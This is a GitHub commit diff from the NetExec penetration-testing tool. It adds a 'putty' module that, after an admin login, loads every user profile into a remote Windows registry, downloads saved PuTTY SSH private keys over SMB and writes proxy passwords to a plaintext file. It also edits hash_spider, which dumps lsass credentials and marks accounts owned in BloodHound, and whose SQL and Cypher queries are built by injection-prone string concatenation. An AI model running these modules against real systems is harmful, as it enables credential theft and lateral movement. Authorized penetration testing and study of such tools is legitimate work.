Skip to content

Commit 078b0ff

Browse files
authored
Merge branch 'main' into dns
2 parents f4bac9b + aa9b044 commit 078b0ff

10 files changed

Lines changed: 305 additions & 134 deletions

File tree

.github/workflows/test.yml

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,9 @@ jobs:
2626
python-version: ${{ matrix.python-version }}
2727
cache: poetry
2828
cache-dependency-path: poetry.lock
29+
- name: Install with pipx
30+
run: |
31+
pipx install . --python python${{ matrix.python-version }}
2932
- name: Install poetry
3033
run: |
3134
pipx install poetry --python python${{ matrix.python-version }}
@@ -45,4 +48,4 @@ jobs:
4548
poetry run netexec mssql 127.0.0.1
4649
poetry run netexec ssh 127.0.0.1
4750
poetry run netexec ftp 127.0.0.1
48-
poetry run netexec smb 127.0.0.1 -M veeam
51+
poetry run netexec smb 127.0.0.1 -M veeam

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
data/nxc.db
22
hash_spider_default.sqlite3
3+
hash_spider_testing.sqlite3
34
*.bak
45
*.log
56
.venv

nxc/helpers/bloodhound.py

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -52,10 +52,8 @@ def add_user_bh(user, domain, logger, config):
5252
_add_with_domain(user_info, domain, tx, logger)
5353
except AuthError:
5454
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
55-
exit()
5655
except ServiceUnavailable:
5756
logger.fail(f"Neo4J does not seem to be available on {uri}.")
58-
exit()
5957
except Exception as e:
6058
logger.fail(f"Unexpected error with Neo4J: {e}")
6159
finally:

nxc/modules/example_module.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,9 +12,9 @@ class NXCModule:
1212
opsec_safe = True # Does the module touch disk?
1313
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
1414

15-
def __init__(self, context=None, module_options=None):
16-
self.context = context
17-
self.module_options = module_options
15+
def __init__(self):
16+
self.context = None
17+
self.module_options = None
1818

1919
def options(self, context, module_options):
2020
"""Required.

nxc/modules/hash_spider.py

Lines changed: 4 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -70,11 +70,7 @@ def create_db(local_admins, dbconnection, cursor):
7070

7171

7272
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
73-
if connection.args.local_auth:
74-
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
75-
else:
76-
context.log.extra["host"] = connection.domain
77-
context.log.extra["hostname"] = connection.host.upper()
73+
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
7874
for result in credentials_data:
7975
username = result["username"].upper().split("@")[0]
8076
nthash = result["nthash"]
@@ -85,7 +81,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
8581
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
8682
[password],
8783
)
88-
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
84+
username = f"{username.upper()}@{domain.upper()}"
8985
dbconnection.commit()
9086
session = driver.session()
9187
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -99,7 +95,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
9995
[nthash],
10096
)
10197
dbconnection.commit()
102-
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
98+
username = f"{username.upper()}@{domain.upper()}"
10399
session = driver.session()
104100
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
105101
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -202,7 +198,7 @@ def run_lsassy(self, context, connection, cursor): # copied and pasted from lsa
202198
if file is None:
203199
context.log.fail("Unable to dump lsass")
204200
return False
205-
credentials, tickets, masterkeys = Parser(file).parse()
201+
credentials, tickets, masterkeys = Parser(host, file).parse()
206202
file.close()
207203
ImpacketFile.delete(session, file.get_file_path())
208204
if credentials is None:

nxc/modules/putty.py

Lines changed: 221 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,221 @@
1+
from datetime import datetime
2+
from io import BytesIO
3+
import traceback
4+
from urllib.parse import unquote
5+
from impacket.dcerpc.v5.rpcrt import DCERPCException
6+
from impacket.dcerpc.v5 import rrp
7+
from impacket.examples.secretsdump import RemoteOperations
8+
from os import makedirs
9+
from nxc.helpers.logger import highlight
10+
from nxc.paths import NXC_PATH
11+
import re
12+
13+
14+
class NXCModule:
15+
"""Module by @NeffIsBack"""
16+
17+
name = "putty"
18+
description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
19+
supported_protocols = ["smb"]
20+
opsec_safe = True
21+
multiple_hosts = True
22+
23+
def __init__(self):
24+
self.context = None
25+
self.module_options = None
26+
self.rrp = None
27+
28+
def options(self, context, module_options):
29+
"""No options available"""
30+
31+
def get_logged_on_users(self):
32+
"""Enumerate all logged in and loaded Users on System"""
33+
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
34+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
35+
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
36+
37+
# Get User Names
38+
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
39+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
40+
41+
# Filter legit users in regex
42+
user_objects.remove(".DEFAULT")
43+
regex = re.compile(r"^.*_Classes$")
44+
return [i for i in user_objects if not regex.match(i)]
45+
46+
def get_all_users(self):
47+
"""Get all users that have logged in at some point in time"""
48+
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
49+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
50+
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
51+
52+
# Get User Names
53+
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
54+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
55+
return user_objects
56+
57+
def sid_to_name(self, all_users):
58+
"""Convert SID to Usernames for better readability"""
59+
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
60+
61+
user_dict = {}
62+
for user_object in all_users:
63+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
64+
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
65+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
66+
user_dict[user_object] = user_profile_path.split("\\")[-1]
67+
return user_dict
68+
69+
def load_missing_users(self, unloaded_user_objects):
70+
"""Load missing users into registry to access their registry keys."""
71+
for user_object in unloaded_user_objects:
72+
# Extract profile Path of NTUSER.DAT
73+
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
74+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
75+
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
76+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
77+
78+
# Load Profile
79+
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
80+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
81+
82+
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
83+
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
84+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
85+
86+
def unload_missing_users(self, unloaded_user_objects):
87+
"""If some user were not logged in at the beginning we unload them from registry."""
88+
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
89+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
90+
91+
for user_object in unloaded_user_objects:
92+
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
93+
try:
94+
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
95+
except Exception as e:
96+
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
97+
self.context.log.debug(traceback.format_exc())
98+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
99+
100+
def get_private_key_paths(self, all_users):
101+
"""Get all private key paths for all users"""
102+
sessions = []
103+
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
104+
105+
for user in all_users:
106+
try:
107+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
108+
reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
109+
self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
110+
111+
# Get Session Names
112+
session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
113+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
114+
115+
# Extract stored Session infos
116+
for session_name in session_names:
117+
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
118+
119+
# Get private Key Path
120+
private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
121+
proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
122+
proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
123+
proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
124+
proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
125+
126+
# Session infos
127+
hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
128+
port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
129+
protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
130+
sessions.append({
131+
"user": self.user_dict[user],
132+
"session_name": unquote(session_name),
133+
"hostname": hostname,
134+
"port": port,
135+
"protocol": protocol,
136+
"private_key_path": private_key_path,
137+
"proxy_host": proxy_host,
138+
"proxy_port": proxy_port,
139+
"proxy_username": proxy_username,
140+
"proxy_password": proxy_password
141+
})
142+
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
143+
144+
except DCERPCException as e:
145+
if str(e).find("ERROR_FILE_NOT_FOUND"):
146+
self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
147+
except Exception as e:
148+
self.context.log.fail(f"Unexpected error: {e}")
149+
self.context.log.debug(traceback.format_exc())
150+
return sessions
151+
152+
def extract_session(self, sessions):
153+
proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
154+
for session in sessions:
155+
if session["private_key_path"]:
156+
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
157+
share = session["private_key_path"].split(":")[0] + "$"
158+
file_path = session["private_key_path"].split(":")[1]
159+
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
160+
161+
buf = BytesIO()
162+
with open(download_path, "wb") as file:
163+
try:
164+
self.connection.conn.getFile(share, file_path, buf.write)
165+
except Exception as e:
166+
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
167+
self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
168+
else:
169+
self.context.log.exception(f"Error downloading private key: {e}")
170+
continue
171+
file.write(buf.getvalue())
172+
self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
173+
self.context.log.highlight(f"Sessionname: {session['session_name']}")
174+
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
175+
self.context.log.highlight(f"Protocol: {session['protocol']}")
176+
if session["proxy_password"]:
177+
self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
178+
self.context.log.highlight(f"Sessionname: {session['session_name']}")
179+
self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
180+
self.context.log.highlight(f"Protocol: {session['protocol']}")
181+
self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
182+
self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
183+
self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
184+
with open(proxycreds_file, "a") as f:
185+
f.write("================\n")
186+
f.write(f"User: {session['user']}\n")
187+
f.write(f"Sessionname: {session['session_name']}\n")
188+
f.write(f"Host: {session['hostname']}:{session['port']}\n")
189+
f.write(f"Protocol: {session['protocol']}\n")
190+
f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
191+
f.write(f"Proxy Username: {session['proxy_username']}\n")
192+
f.write(f"Proxy Password: {session['proxy_password']}\n")
193+
self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
194+
195+
def on_admin_login(self, context, connection):
196+
self.connection = connection
197+
self.context = context
198+
199+
try:
200+
self.rrp = RemoteOperations(connection.conn, connection.kerberos)
201+
self.rrp.enableRegistry()
202+
203+
all_users = self.get_all_users()
204+
loaded_user_objects = self.get_logged_on_users()
205+
self.user_dict = self.sid_to_name(all_users)
206+
207+
# Users which must be loaded into registry:
208+
unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
209+
self.load_missing_users(unloaded_user_objects)
210+
211+
sessions = self.get_private_key_paths(all_users)
212+
if sessions:
213+
self.extract_session(sessions)
214+
else:
215+
self.context.log.info("No saved putty sessions found in registry")
216+
217+
self.unload_missing_users(unloaded_user_objects)
218+
except Exception as e:
219+
context.log.exception(f"Error: {e}")
220+
finally:
221+
self.rrp.finish()

0 commit comments

Comments
 (0)